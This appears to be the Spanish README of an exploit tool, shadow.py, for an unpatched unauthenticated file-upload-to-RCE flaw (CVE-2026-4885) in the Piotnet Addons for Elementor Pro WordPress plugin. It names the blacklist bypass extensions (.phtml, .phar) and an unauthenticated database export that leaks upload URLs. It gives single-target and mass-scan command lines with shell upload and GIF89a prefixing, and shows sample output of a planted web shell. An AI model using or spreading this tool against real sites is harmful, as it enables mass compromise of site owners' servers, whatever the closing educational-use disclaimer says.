
Piotnet Addons for Elementor Pro <= 7.1.70 - Subida de archivos arbitraria sin autenticación → RCE
Piotnet Addons for Elementor Pro <= 7.1.70 - Subida de archivos arbitrarios no autenticada → RCE
El complemento Piotnet Addons for Elementor Pro para WordPress es vulnerable a la subida arbitraria de archivos debido a la falta de validación del tipo de archivo en la función pafe_ajax_form_builder en todas las versiones hasta, e incluyendo, 7.1.70. El complemento utiliza una lista negra de extensiones incompleta que solo bloquea las extensiones php, phpt, php5, php7 y exe, mientras permite subir libremente extensiones peligrosas como .phar o .phtml.
Esto permite a atacantes no autenticados subir archivos PHP arbitrarios al servidor del sitio afectado, lo que conduce a la ejecución remota de código (RCE).
Nota: El exploit solo puede activarse si se añade un campo de archivo al formulario de Piotnet.
~ Puntuación CVSS : 9.8 (Crítico)
~ Vector CVSS : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
~ Versiones afectadas : <= 7.1.70
~ Parcheado : No hay parche disponible
~ Publicado públicamente : 18 de mayo de 2026
El controlador AJAX pafe_ajax_form_builder acepta subidas de archivos sin una validación adecuada:
// Incomplete blacklist — only blocks:
$blocked = ['php', 'phpt', 'php5', 'php7', 'exe'];
// .phtml, .phar, .shtml etc. pass through freely ✓
La ruta de subida se puede filtrar mediante la acción AJAX pafe_export_database sin autenticación → la exportación CSV contiene las URL completas de los archivos.
Menú interactivo (por defecto) :
python3 shadow.py
╾──── MENU ────╼
1 ▶ one target
2 ▶ mass scan
3 ▶ exit
[1/2/3] :
Objetivo único (CLI) :
python3 shadow.py -u https://target.com
python3 shadow.py -u https://target.com -s shell.phtml
Objetivos masivos (CLI) :
python3 shadow.py -f targets.txt -t 20
python3 shadow.py -f targets.txt -t 20 -s shell.phtml
Opciones :
-u, --url URL del objetivo
-f, --file Archivo con URLs de objetivos (una por línea)
-s, --shell Archivo shell PHP personalizado (prefijo GIF89a automático)
-t, --threads Hilos concurrentes para modo masivo (por defecto: 5)
-h, --help Mostrar ayuda
form_id, post_id, field_name desde el HTML de la páginapafe_export_database (sin autenticación, sin nonce)shell.txtPrepara tu archivo shell localmente (p. ej. shadow.phtml) — los bytes mágicos GIF89a se anteponen automáticamente si faltan.
Extensiones bloqueadas:
.php.phpt.php5.php7.exeUsa en su lugar:
.phtml.phar.shtml.php8etc.
╔══════════════════════════════════════════════════════════╗
║ ║
║ ♡ CVE-2026-4885 ║
║ Piotnet Addons for Elementor Pro <= 7.1.70 ║
║ Unauthenticated File Upload → RCE ║
║ ║
║ by Shadow & Friska ♡ ║
║ ║
╚══════════════════════════════════════════════════════════╝
╾──── VERSION ────╼
♡ v7.1.67 <= 7.1.70 — VULNERABLE
╾──── RECON ────╼
◆ scanning 46 pages (parallel)...
♡ [PIOTNET] https://target.com/contact
post_id=9 | form_id=72071c0
◆ using : https://target.com/contact
╾──── EXPLOIT ────╼
◆ post_id=9 | form_id=72071c0 | field=file
▶ trying .phtml ...
♡ uploaded (.phtml)
♡ URL leak : https://target.com/wp-content/uploads/piotnet-addons-for-elementor/shadow-xxx.phtml
╔══════════════════════════════════════════════════════════╗
║ ★ SHELL UPLOADED (.phtml) ║
║ ║
║ ◆ shell : https://target.com/wp-content/... ║
╚══════════════════════════════════════════════════════════╝
pip install httpx
Esta herramienta es solo para fines educativos y de pruebas de seguridad autorizadas.
El uso no autorizado contra sistemas que no posees o para los que no tienes permiso explícito para probar es ilegal. Los autores no son responsables del mal uso o de los daños causados por esta herramienta.